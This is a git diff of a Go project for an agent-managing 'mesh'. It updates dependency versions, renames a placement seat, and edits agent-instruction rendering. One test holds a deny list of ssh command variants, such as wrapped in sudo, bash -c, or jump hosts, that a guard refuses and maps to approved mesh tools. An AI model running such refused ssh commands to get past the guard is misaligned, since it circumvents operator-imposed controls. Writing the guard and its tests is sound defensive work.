git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
github.com/klauspost/compress v1.20.1 h1:T7kKElXUMXrUJ2E9QhQhxFtcK5rPyLdsGZvdbLMPdiQ=
github.com/klauspost/compress v1.20.1/go.mod h1:LUdAzn7YLVvxLpc7y3V1m40wESHTgc1422pwwBSKYuI=
github.com/nats-io/nats.go v1.54.0 h1:vsXoOxjHp/GmPUN+EcI7uOf/uB+iAP+kEsAFNQN0yzA=
+1 -1
View File
@@ -2,7 +2,7 @@ module avahi
go 1.26.0
require git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
require (
github.com/klauspost/compress v1.20.1 // indirect
+4
View File
@@ -1,3 +1,7 @@
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
github.com/klauspost/compress v1.20.1 h1:T7kKElXUMXrUJ2E9QhQhxFtcK5rPyLdsGZvdbLMPdiQ=
github.com/klauspost/compress v1.20.1/go.mod h1:LUdAzn7YLVvxLpc7y3V1m40wESHTgc1422pwwBSKYuI=
github.com/nats-io/nats.go v1.54.0 h1:vsXoOxjHp/GmPUN+EcI7uOf/uB+iAP+kEsAFNQN0yzA=
+1 -1
View File
@@ -2,7 +2,7 @@ module blueman
go 1.26.0
require git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
require (
github.com/klauspost/compress v1.20.1 // indirect
+4
View File
@@ -1,3 +1,7 @@
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
github.com/klauspost/compress v1.20.1 h1:T7kKElXUMXrUJ2E9QhQhxFtcK5rPyLdsGZvdbLMPdiQ=
github.com/klauspost/compress v1.20.1/go.mod h1:LUdAzn7YLVvxLpc7y3V1m40wESHTgc1422pwwBSKYuI=
github.com/nats-io/nats.go v1.54.0 h1:vsXoOxjHp/GmPUN+EcI7uOf/uB+iAP+kEsAFNQN0yzA=
+1 -1
View File
@@ -2,7 +2,7 @@ module bluetooth
go 1.26.0
require git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
require (
github.com/klauspost/compress v1.20.1 // indirect
+4
View File
@@ -1,3 +1,7 @@
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
github.com/klauspost/compress v1.20.1 h1:T7kKElXUMXrUJ2E9QhQhxFtcK5rPyLdsGZvdbLMPdiQ=
github.com/klauspost/compress v1.20.1/go.mod h1:LUdAzn7YLVvxLpc7y3V1m40wESHTgc1422pwwBSKYuI=
github.com/nats-io/nats.go v1.54.0 h1:vsXoOxjHp/GmPUN+EcI7uOf/uB+iAP+kEsAFNQN0yzA=
+2 -1
View File
@@ -3,12 +3,13 @@ module brother
go 1.26.0
require (
git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
github.com/nats-io/nats-server/v2 v2.11.17
github.com/nats-io/nats.go v1.54.0
)
require (
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 // indirect
github.com/antithesishq/antithesis-sdk-go v0.8.0-default-no-op // indirect
github.com/google/go-tpm v0.9.8 // indirect
github.com/klauspost/compress v1.20.1 // indirect
+4
View File
@@ -1,3 +1,7 @@
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
github.com/antithesishq/antithesis-sdk-go v0.8.0-default-no-op h1:1BOWQJweNyvZMlpAHXGLiZQn9S+QXGcz3xh94lC0w6E=
github.com/antithesishq/antithesis-sdk-go v0.8.0-default-no-op/go.mod h1:FQyySiasQQM8735Ddel3MRojmy4dA1IqCeyJ5jmPMbI=
github.com/google/go-tpm v0.9.8 h1:slArAR9Ft+1ybZu0lBwpSmpwhRXaa85hWtMinMyRAWo=
+2 -12
View File
@@ -122,7 +122,7 @@ The agent kept reaching for `ssh <machine> journalctl` while the service manager
- **The "instead of" table.** Every seat verb and module tool may say which shell commands it replaces
(`replaces`, in the seat's definition or the module's manifest). The module reads the bus — the seats' verbs from the
seats' contract, the placed modules' manifests from `mesh-delivery-indexer.modules` and `.manifests`, the
machines and where each module runs from `mesh-delivery-assigner.assignments` (issue 1126: the controller that
machines and where each module runs from `mesh-delivery-assigner.placement` (issue 1126: the controller that
answered this is not placed) — at start, every ten minutes and on `claude_code_render`, keeps it in its
state (`mesh-tools.json`), and renders it into `CLAUDE.md` as one row per seat or module: `<node>/<seat>.` and
each verb with the commands it replaces. Generated, never written by hand: a verb that gains `replaces` is in
@@ -206,20 +206,10 @@ judges the record as this module would have made it, composes the ask again from
the text's digest, in time), and only then writes the section into its own `approved.json`, which the managed
instruction file renders under "Instructions the operator approved". A proposal is decided once per node, and an approval older than the last change applied to its section is never applied; a record
deleted from the bus removes nothing. Refused: shell lines, front matter, any `@` after a non-letter (a file the instruction file may read in), invisible or control characters, headings of level one to three, anything shaped like
a secret, more than 16 KiB, and — at once, naming the terminal's line — whenever no channel
a secret, more than 16 KiB, a name the terminal sets, and — at once, naming the terminal's line — whenever no channel
that proves its sender is there. The controller's hand-act log records each warrant once (`warranted`), read from the
router's record. The text is never logged.
**A section registered before is replaced or removed the same way** (hq issue 340, note 14): a section registered for the
mesh or the node before the controller's terminal took that over, or set there, is proposed over by name. The proposal
carries `over`, the digest of the registered text, which the act the operator's answer binds names; the ask says
plainly that it replaces (or removes) the registered section, with the registered text's fingerprint, and shows the new
text as any other. On Approve each node writes the section into `approved.json` with that `over`, and the managed
instruction file renders it in the place of the registered section (a removal leaves the section out); on Decline or at
expiry nothing changes. A replacement keeps the registered section's own heading form, because it replaces a mesh
section; the heading rule stays for every new shared section. `claude_code_proposals` shows each proposal's `registered
section` and `claude_code_registrations` lists what approvals replaced or removed.
**A session asks the operator a question on Telegram** (hq ADR 0332, issue 589). An agent that needs a decision while
the operator may be away from the terminal calls `claude_code_ask` with a headline, the context in plain words, two to
four options (a label and what choosing it means, exactly one recommended, with why), what it does if nobody
+3 -28
View File
@@ -637,14 +637,6 @@ func mergeSettings(a, b map[string]any) map[string]any {
// registered for the mesh, then those for this node.
func InstructionSections(c Config) string {
var b strings.Builder
// The approved sections that replace or remove a registered one, by its name and the digest of its text, and the
// proposals already placed where the registered section stood.
over, placed := map[string]ApprovedSection{}, map[string]bool{}
for _, s := range c.Approved {
if s.Over != "" {
over[s.Name+"|"+s.Over] = s
}
}
registered := "Registered through the `claude-code` module before that moved to the controller's terminal; change them there, in the module's `instructions` setting."
for _, part := range []struct {
title, note string
@@ -662,31 +654,14 @@ func InstructionSections(c Config) string {
}
fmt.Fprintf(&b, "\n## %s\n\n%s\n", part.title, part.note)
for _, it := range sections {
text := it.Files[it.Name+".md"]
if s, ok := over[it.Name+"|"+textDigest(text)]; ok {
// What the operator approved over this registered section stands in its place, or leaves it out.
placed[s.Proposal] = true
if s.Removes {
continue
}
fmt.Fprintf(&b, "\n### %s\n\n*Replaced on the operator's approval (proposed from %s; approved %s).*\n\n%s\n", it.Name, s.From,
s.Approved.UTC().Format("2006-01-02 15:04 UTC"), strings.TrimSpace(s.Text))
continue
}
fmt.Fprintf(&b, "\n### %s\n\n%s\n", it.Name, strings.TrimSpace(text))
fmt.Fprintf(&b, "\n### %s\n\n%s\n", it.Name, strings.TrimSpace(it.Files[it.Name+".md"]))
}
}
var approved []ApprovedSection
for _, s := range c.Approved {
if !s.Removes && !placed[s.Proposal] {
approved = append(approved, s)
}
}
if len(approved) > 0 {
if len(c.Approved) > 0 {
b.WriteString("\n## Instructions the operator approved\n\nProposed by an agent through the `claude-code` module and " +
"approved by the operator on a channel that proves who answered (novox/hq ADR 0274). Changed or removed only the " +
"same way: `claude_code_instructions_propose`.\n")
for _, s := range approved {
for _, s := range c.Approved {
fmt.Fprintf(&b, "\n### %s\n\n*Proposed from %s; approved %s.*\n\n%s\n", s.Name, s.From,
s.Approved.UTC().Format("2006-01-02 15:04 UTC"), strings.TrimSpace(s.Text))
}
@@ -275,11 +275,11 @@ func TestTheManifestListsEveryToolServed(t *testing.T) {
Consumes []string `json:"consumes"`
}
_ = json.Unmarshal(raw, &m)
// The hand-act seat's warranted and hand-act, the seat mesh-catalog's seat list (ADR 0635 §1), and the owners' read tools of the three followed states; no verb of
// The hand-act seat's warranted and hand-act, and the owners' read tools of the three followed states; no verb of
// the controller, and no read of the indexer's or the assigner's state (ADR 0615 §1): their views are consumed.
if !slices.Equal(m.Invokes, []string{"seat:mesh-hand-acts.warranted", "seat:mesh-hand-acts.hand-act", "seat:mesh-catalog.seat-definitions", ModulesTool, ManifestsTool, AssignmentsTool}) ||
if !slices.Equal(m.Invokes, []string{"seat:mesh-hand-acts.warranted", "seat:mesh-hand-acts.hand-act", ModulesTool, ManifestsTool, PlacementTool}) ||
!slices.Equal(m.Reads, []string{"claude-licence-manager.bindings"}) ||
!slices.Equal(m.Consumes, []string{"mesh-delivery-indexer.views.modules", "mesh-delivery-indexer.views.manifests", "mesh-delivery-assigner.views.assignments", "mesh-catalog.seat-definition-changed", "mesh-catalog.seat-definition-removed"}) {
!slices.Equal(m.Consumes, []string{"mesh-delivery-indexer.views.modules", "mesh-delivery-indexer.views.manifests", "mesh-delivery-assigner.views.placement"}) {
t.Errorf("invokes = %v, reads = %v, consumes = %v", m.Invokes, m.Reads, m.Consumes)
}
if src, _ := os.ReadFile("proposals.go"); !strings.Contains(string(src), `"seat:mesh-hand-acts.warranted"`) ||
+2 -2
View File
@@ -25,8 +25,8 @@ import (
"path/filepath"
"strings"
occ "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/clients/operatorchannelclient"
oc "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/seats/operatorchannel"
occ "git.novox.be/novox/mesh-contracts/go/clients/operatorchannelclient"
oc "git.novox.be/novox/mesh-contracts/go/seats/operatorchannel"
)
// ForgeProvision is the provision whose credential this is, and the file this module's manifest has it delivered to.
@@ -12,7 +12,7 @@ import (
"strings"
"testing"
occ "git.novox.be/novox/mesh-contracts/operator-and-conversation/go/clients/operatorchannelclient"
occ "git.novox.be/novox/mesh-contracts/go/clients/operatorchannelclient"
)
const agentToken = "0123456789abcdef0123456789abcdef01234567"
@@ -9,20 +9,20 @@ import (
"strings"
"testing"
"git.novox.be/novox/mesh-sdk/go/seatdef"
"git.novox.be/novox/mesh-contracts/go/seats"
)
// meshForTheGuard is a mesh of two machines and the verbs that replace what an agent runs over ssh, as the
// seats' contract and the modules' manifests say them.
func meshForTheGuard() GuardData {
defined := []seatdef.Definition{
{Seat: "mesh-module-assigner", Scope: "mesh", Verbs: []seatdef.Verb{
{Name: "assignments", Description: "Read assignments: one node's key.", Replaces: []string{"hostnamectl", "uptime"}}}},
{Seat: "node-service-manager", Scope: "node", Verbs: []seatdef.Verb{
defined := []seats.Seat{
{Name: "mesh-placement", Scope: "mesh", Serves: []seats.Verb{
{Name: "placement", Description: "Read placement: one node's key.", Replaces: []string{"hostnamectl", "uptime"}}}},
{Name: "node-service-manager", Scope: "node", Serves: []seats.Verb{
{Name: "status", Description: "One unit as the service manager sees it now: its states.", Replaces: []string{"systemctl status", "systemctl is-active"}},
{Name: "restart", Description: "Restart one unit.", Replaces: []string{"systemctl restart"}},
{Name: "journal", Description: "The last lines of one unit's journal.", Replaces: []string{"journalctl"}}}},
{Seat: "node-hostname", Scope: "node", Verbs: []seatdef.Verb{
{Name: "node-hostname", Scope: "node", Serves: []seats.Verb{
{Name: "add", Description: "Add one address and its names to the operator's lines of /etc/hosts.", Replaces: []string{"edit /etc/hosts", "HOSTALIASES"}}}},
}
modules := []ModuleTools{{Module: "docker", On: []string{"anchor"}, Replaces: map[string][]string{"docker_logs": {"docker logs"}, "docker_list": {"docker ps"}}},
@@ -80,14 +80,14 @@ func TestSSHToAMeshMachineIsRefusedNamingTheTool(t *testing.T) {
"ssh -o StrictHostKeyChecking=no 10.10.0.1 docker ps -a": "anchor/docker.docker_list",
"ssh anchor docker logs --tail 100 nats": "anchor/docker.docker_logs",
"ssh laptop docker logs x": "anchor/docker.docker_logs",
"ssh a uptime": "mesh-module-assigner.assignments",
"ssh a uptime": "mesh-placement.placement",
"cd /tmp && ssh anchor journalctl": "anchor/node-service-manager.journal",
"sudo -u root ssh anchor journalctl": "anchor/node-service-manager.journal",
"timeout 10 ssh anchor journalctl": "anchor/node-service-manager.journal",
"env LANG=C ssh anchor journalctl": "anchor/node-service-manager.journal",
"bash -c 'ssh anchor journalctl -u x'": "anchor/node-service-manager.journal",
`echo "$(ssh anchor journalctl -n 5)" | tail`: "anchor/node-service-manager.journal",
"for n in anchor laptop; do ssh $n uptime; done; ssh anchor uptime": "mesh-module-assigner.assignments",
"for n in anchor laptop; do ssh $n uptime; done; ssh anchor uptime": "mesh-placement.placement",
"ssh -J anchor 203.0.113.9 journalctl": "anchor/node-service-manager.journal",
"ssh via-anchor journalctl": "anchor/node-service-manager.journal",
"ssh nas.lan journalctl": "anchor/node-service-manager.journal",
@@ -1,16 +0,0 @@
package main
import (
"git.novox.be/novox/mesh-contracts/health-and-repair/go/clients/meshhandactsclient"
stdio "git.novox.be/novox/mesh-sdk/go"
"git.novox.be/novox/mesh-sdk/go/views"
)
// handActs records the hand acts of the views reader through the seat mesh-hand-acts's client. An act the seat does not
// take is an error, and the reader then does nothing (the views package's rule).
type handActs struct{}
func (handActs) RecordHandAct(a views.HandAct) error {
_, err := meshhandactsclient.Recorder{Ask: stdio.Ask}.Record(meshhandactsclient.Request{What: a.What, Why: a.Why, Cause: a.Cause, Verb: a.Verb})
return err
}
@@ -6,19 +6,14 @@ import (
"encoding/json"
"errors"
"fmt"
assignerclient "git.novox.be/novox/mesh-contracts/go/clients/meshmoduleassignerclient"
mesh "git.novox.be/novox/mesh-contracts/go/seats/meshmoduleassigner"
catalogclient "git.novox.be/novox/mesh-delivery/contracts/go/clients/meshcatalogclient"
catalog "git.novox.be/novox/mesh-delivery/contracts/go/seats/meshcatalog"
"os"
"reflect"
"slices"
"strings"
"testing"
"time"
"git.novox.be/novox/mesh-sdk/go/seatdef"
"git.novox.be/novox/mesh-sdk/go/seatlist"
"git.novox.be/novox/mesh-contracts/go/seats"
"git.novox.be/novox/mesh-sdk/go/delivery"
"git.novox.be/novox/mesh-sdk/go/views"
)
@@ -42,33 +37,33 @@ func (b aBus) Get(read, key string) ([]byte, bool, error) {
}
// someSeats are two seats as the seats' contract says them: one held once for the mesh, one on every machine.
func someSeats() []seatdef.Definition {
return []seatdef.Definition{
{Seat: "mesh-module-assigner", Domain: "Core", Scope: "mesh", Verbs: []seatdef.Verb{
{Name: "assignments", Description: "Read assignments: one node's key.", Replaces: []string{"hostnamectl", "uptime"}},
func someSeats() []seats.Seat {
return []seats.Seat{
{Name: "mesh-placement", Scope: "mesh", Serves: []seats.Verb{
{Name: "placement", Description: "Read placement: one node's key.", Replaces: []string{"hostnamectl", "uptime"}},
{Name: "propose", Description: "Propose a change."}}},
{Seat: "node-service-manager", Domain: "Core", Scope: "node", Verbs: []seatdef.Verb{
{Name: "node-service-manager", Scope: "node", Serves: []seats.Verb{
{Name: "status", Description: "One unit as the service manager sees it now: its states, whether it starts at boot.", Replaces: []string{"systemctl status", "systemctl is-active"}},
{Name: "journal", Description: "The last lines of one unit's journal.", Replaces: []string{"journalctl"}}}},
}
}
// aMesh is two machines, anchor (with a public domain) and laptop, docker and zsh placed on anchor, docker's manifest
// saying what its tool replaces, as the seat mesh-module-assigner and the indexer keep them on the bus.
// saying what its tool replaces, as the seat mesh-placement and the indexer keep them on the bus.
func aMesh(t *testing.T) aBus {
t.Helper()
b := aBus{AssignmentsRead: {}, ModulesRead: {}, ManifestsRead: {}}
for _, p := range []mesh.Assignments{
{V: 1, Node: "anchor", Decided: mesh.NodeDecided{PublicDomain: "Anchor.Example"},
Modules: []mesh.PlacedModule{{Module: "docker"}, {Module: "zsh"}}},
b := aBus{PlacementRead: {}, ModulesRead: {}, ManifestsRead: {}}
for _, p := range []delivery.Placement{
{V: 1, Node: "anchor", Decided: delivery.NodeDecided{PublicDomain: "Anchor.Example"},
Modules: []delivery.PlacedModule{{Module: "docker"}, {Module: "zsh"}}},
{V: 1, Node: "laptop"},
} {
values, err := assignerclient.AssignmentsValues(p)
values, err := delivery.PlacementValues(p)
if err != nil {
t.Fatal(err)
}
for k, v := range values {
b[AssignmentsRead][k] = v
b[PlacementRead][k] = v
}
}
for module, manifest := range map[string]string{
@@ -76,14 +71,14 @@ func aMesh(t *testing.T) aBus {
"zsh": `{"module":"zsh"}`,
} {
digest := fmt.Sprintf("%x", sha256.Sum256([]byte(manifest)))
mkey, _ := catalogclient.ManifestsKey(digest)
raw, err := json.Marshal(catalog.ManifestsByDigestValue{V: 1, Module: module, Manifest: manifest})
mkey, _ := delivery.ManifestsKey(digest)
raw, err := json.Marshal(delivery.Manifest{V: 1, Module: module, JSON: manifest})
if err != nil {
t.Fatal(err)
}
b[ManifestsRead][mkey] = raw
key, _ := catalogclient.ModulesKey(module)
b[ModulesRead][key], _ = json.Marshal(catalog.ModulesByModuleValue{V: 1, None: "nothing is built of it", Manifest: digest, Repository: "novox/mesh-catalog", Commit: "c"})
key, _ := delivery.ModulesKey(module)
b[ModulesRead][key], _ = json.Marshal(delivery.Module{V: 1, None: "nothing is built of it", Manifest: digest, Repository: "novox/mesh-catalog", Commit: "c"})
}
return b
}
@@ -105,43 +100,9 @@ func TestTheMeshsToolsAreReadFromTheBus(t *testing.T) {
for _, r := range m.Replacements {
addresses = append(addresses, r.Address)
}
if got := strings.Join(addresses, ","); got != "mesh-module-assigner.assignments,node-service-manager.status,node-service-manager.journal,docker.docker_logs" {
if got := strings.Join(addresses, ","); got != "mesh-placement.placement,node-service-manager.status,node-service-manager.journal,docker.docker_logs" {
t.Errorf("replacements: %s", got)
}
t.Run("the again tool answers the operator and the healers only", func(t *testing.T) {
for caller, refused := range map[string]bool{"person.jochen": false, "shanks.mesh-healers": false, "shanks.mesh-config": true} {
if err := seatlist.Refusal("claude_code_seat_list_again", seatListAgainCallers, caller); (err != nil) != refused {
t.Errorf("%s: refused=%v, err %v", caller, refused, err)
}
}
})
t.Run("the seats are the seat list read from the bus", func(t *testing.T) {
// A table made from what the seat mesh-catalog answers (ADR 0635 §1): no compiled list, so before the reader
// has started nothing replaces a command, and after it the seats' verbs are the seat's own.
seatListMu.Lock()
seatList = nil
seatListMu.Unlock()
if got := definedSeats(); len(got) != 0 {
t.Fatalf("seats before the reader started: %v", got)
}
startSeatList(listBus{"mesh-module-assigner": someSeats()[0], "node-service-manager": someSeats()[1]})
defer func() { seatListMu.Lock(); seatList = nil; seatListMu.Unlock() }()
// The reader's first read ends when Ready closes (no sleeping).
select {
case <-seatList.Ready():
case <-time.After(10 * time.Second):
t.Fatalf("the seat list was not read: %+v", seatList.Status())
}
got, err := ReadMeshToolsFrom(aMesh(t), definedSeats(), resolving)
var addrs []string
for _, r := range got.Replacements {
addrs = append(addrs, r.Address)
}
// The foundation's bootstrapped seats are held beside the two the seat answered, in reading order.
if err != nil || !slices.Contains(addrs, "mesh-module-assigner.assignments") || !slices.Contains(addrs, "node-service-manager.journal") {
t.Fatalf("replacements from the bus: %v, %v", addrs, err)
}
})
if len(m.Machines) != 2 || strings.Join(m.Machines[0].Domains, ",") != "anchor.internal,anchor.example" ||
strings.Join(m.Machines[0].Addresses, ",") != "10.10.0.1,192.0.2.10" || strings.Join(m.Machines[1].Addresses, ",") != "10.10.0.4" {
t.Errorf("machines: %+v", m.Machines)
@@ -159,7 +120,7 @@ func TestTheInsteadOfTableIsGeneratedFromTheRecords(t *testing.T) {
for _, want := range []string{
"| `<node>/node-service-manager.` | `status` — `systemctl status`, `systemctl is-active` · `journal` — `journalctl` |",
"| `<node>/docker.` | `docker_logs` — `docker logs` |",
"| `mesh-module-assigner.` | `assignments` — `hostnamectl`, `uptime` |",
"| `mesh-placement.` | `placement` — `hostnamectl`, `uptime` |",
"Never `ssh` to a mesh machine",
} {
if !strings.Contains(table, want) {
@@ -167,14 +128,14 @@ func TestTheInsteadOfTableIsGeneratedFromTheRecords(t *testing.T) {
}
}
if strings.Index(table, "node-service-manager.") > strings.Index(table, "docker.") ||
strings.Index(table, "docker.") > strings.Index(table, "`mesh-module-assigner.`") {
strings.Index(table, "docker.") > strings.Index(table, "`mesh-placement.`") {
t.Errorf("not the machines' seats, then modules, then the mesh's:\n%s", table)
}
// What the guard here named most comes first: its row, and in its row its verb.
m.Refused = map[string]int{"node-service-manager.journal": 3, "mesh-module-assigner.assignments": 1}
m.Refused = map[string]int{"node-service-manager.journal": 3, "mesh-placement.placement": 1}
ranked := InsteadOf(&m)
if !strings.Contains(ranked, "| `<node>/node-service-manager.` | `journal` — `journalctl` · `status`") ||
strings.Index(ranked, "`mesh-module-assigner.`") > strings.Index(ranked, "`<node>/docker.`") {
strings.Index(ranked, "`mesh-placement.`") > strings.Index(ranked, "`<node>/docker.`") {
t.Errorf("not ranked by the guard's record:\n%s", ranked)
}
m.Refused = nil
@@ -221,8 +182,8 @@ func TestTheMeshsToolsAreKeptOnlyWhenTheyChange(t *testing.T) {
}
}
// Where a module runs is read from the seat mesh-module-assigner's assignments (issue 1126 B13), never the controller's answer.
func TestTheMachinesRunningAModuleAreReadFromAssignments(t *testing.T) {
// Where a module runs is read from the seat mesh-placement's placement (issue 1126 B13), never the controller's answer.
func TestTheMachinesRunningAModuleAreReadFromPlacement(t *testing.T) {
b := aMesh(t)
if got, err := NodesRunning(b, "zsh"); err != nil || strings.Join(got, ",") != "anchor" {
t.Errorf("zsh runs on %v (%v)", got, err)
@@ -231,17 +192,17 @@ func TestTheMachinesRunningAModuleAreReadFromAssignments(t *testing.T) {
t.Errorf("a module that runs nowhere: %v (%v)", got, err)
}
if _, err := NodesRunning(aBus{}, "zsh"); err == nil {
t.Error("an unreadable assignments was read as no machine")
t.Error("an unreadable placement was read as no machine")
}
}
// ADR 0615 §1: the tools and the assignments come from the owners' first views and their views events, never their state.
// ADR 0615 §1: the tools and the placement come from the owners' first views and their views events, never their state.
// A reader whose first views are answered from the fixture reads what the state read gave, and a views event changes
// what it reads (CAT-CC3).
func TestTheMeshIsReadFromTheOwnersFirstViews(t *testing.T) {
bus := aMesh(t)
r := newMeshViews()
for _, name := range []string{ModulesRead, ManifestsRead, AssignmentsRead} {
for _, name := range []string{ModulesRead, ManifestsRead, PlacementRead} {
state := strings.TrimPrefix(name, strings.Split(name, ".")[0]+".")
values := map[string]json.RawMessage{}
for k, v := range bus[name] {
@@ -255,16 +216,16 @@ func TestTheMeshIsReadFromTheOwnersFirstViews(t *testing.T) {
t.Fatal(err)
}
}
want, err := ReadMeshToolsFrom(bus, someSeats(), resolving)
want, err := ReadMeshToolsFrom(bus, seats.List(), resolving)
if err != nil {
t.Fatal(err)
}
got, err := ReadMeshToolsFrom(viewStates{r}, someSeats(), resolving)
got, err := ReadMeshToolsFrom(viewStates{r}, seats.List(), resolving)
if err != nil || !reflect.DeepEqual(got, want) || len(got.Replacements) == 0 {
t.Fatalf("from the views: %+v, %v\nfrom the state: %+v", got, err, want)
}
// A reader not yet answered says so, and reads nothing.
if _, err := ReadMeshToolsFrom(viewStates{newMeshViews()}, someSeats(), resolving); err == nil || !strings.Contains(err.Error(), "no first view") {
if _, err := ReadMeshToolsFrom(viewStates{newMeshViews()}, seats.List(), resolving); err == nil || !strings.Contains(err.Error(), "no first view") {
t.Fatalf("an unanswered first view: %v", err)
}
}
@@ -272,7 +233,7 @@ func TestTheMeshIsReadFromTheOwnersFirstViews(t *testing.T) {
// Issue 1126 B13 AC1 (ADR 0590): over the seats the mesh defines, the rendered instructions, their table among them,
// name no address of the controller, which is not placed: each job is named by the seat that owns it now.
func TestTheRenderedInstructionsNameNoControllerAddress(t *testing.T) {
m, err := ReadMeshToolsFrom(aMesh(t), someSeats(), resolving)
m, err := ReadMeshToolsFrom(aMesh(t), seats.List(), resolving)
if err != nil {
t.Fatal(err)
}
@@ -284,22 +245,3 @@ func TestTheRenderedInstructionsNameNoControllerAddress(t *testing.T) {
t.Errorf("the instructions name the controller:\n%s", md)
}
}
// listBus answers the seat mesh-catalog's seat list from the definitions it is given.
type listBus map[string]seatdef.Definition
func (b listBus) Ask(key string, body any) (json.RawMessage, error) {
if q, _ := body.(map[string]any); q != nil && q["seat"] != nil {
d := b[q["seat"].(string)]
d.Format, d.Grain, d.Decision = seatdef.Format, seatdef.SeatList, "ADR 0635"
raw, _ := json.Marshal(d)
return json.Marshal(seatlist.Answer{Seat: d.Seat, Found: true, Entry: &seatlist.Entry{Seat: d.Seat, Source: "trunk", Digest: "d-" + d.Seat, Definition: raw}})
}
var l seatlist.Listing
for n := range b {
l.Seats = append(l.Seats, seatlist.Entry{Seat: n, Source: "trunk", Digest: "d-" + n})
}
return json.Marshal(l)
}
func (listBus) Subscribe(string, func(string, json.RawMessage) error) error { return nil }
@@ -9,5 +9,5 @@ func instructionsText(node, role string) string {
node +
"`\n- **Role:** " +
role +
"\n- The other nodes, their roles and what runs where: ask the seat `mesh-module-assigner` (`mesh-module-assigner.assignments`),\n or `mesh_overview` and `mesh_machine`. Nothing here lists them, because a copy drifts.\n\n## How a session on this mesh works\n\nThe console is the only way to the mesh: the MCP server named `mesh`. It offers five tools, and\neverything else is an address you find and call through them:\n\n- `mesh_search` — words in, matching addresses out. `mesh_describe` — one address's arguments.\n- `mesh_call` — call an address. A seat the mesh holds once is `<seat>.<verb>` (the mesh's own seats\n include `mesh-module-assigner`, `mesh-delivery`, `mesh-config` and `mesh-conditions`);\n a module on a machine is `<node>/<module>.<tool>`.\n- `mesh_overview` and `mesh_machine` — the mesh's seats and machines, and what one machine runs.\n\n- **Symptom first.** For an error, a failing service or anything unexpected, search the record with the\n literal text before forming a hypothesis: the records module's `records_search`, then\n `records_read`.\n- **Ask the mesh before changing it**, and change it through the seats' verbs or the catalog.\n- **A licence** through the `anthropic-licence-manager` seat's verbs. Never edit the agent's credentials\n file by hand, never print or ask for a token.\n\n## Hard rules\n\n- A file the mesh manages is changed through the verb or the catalog that owns it, never on disk. If\n unsure, `<node>/node-engine.composition` for the module says what the mesh writes there.\n- Never write to a store's database by hand; schema changes are numbered migrations.\n- Never push to a main branch: a branch, a pull request, and a human approval for every merge.\n- The mesh creates no symlinks, and nobody else does either.\n- A package is declared in a 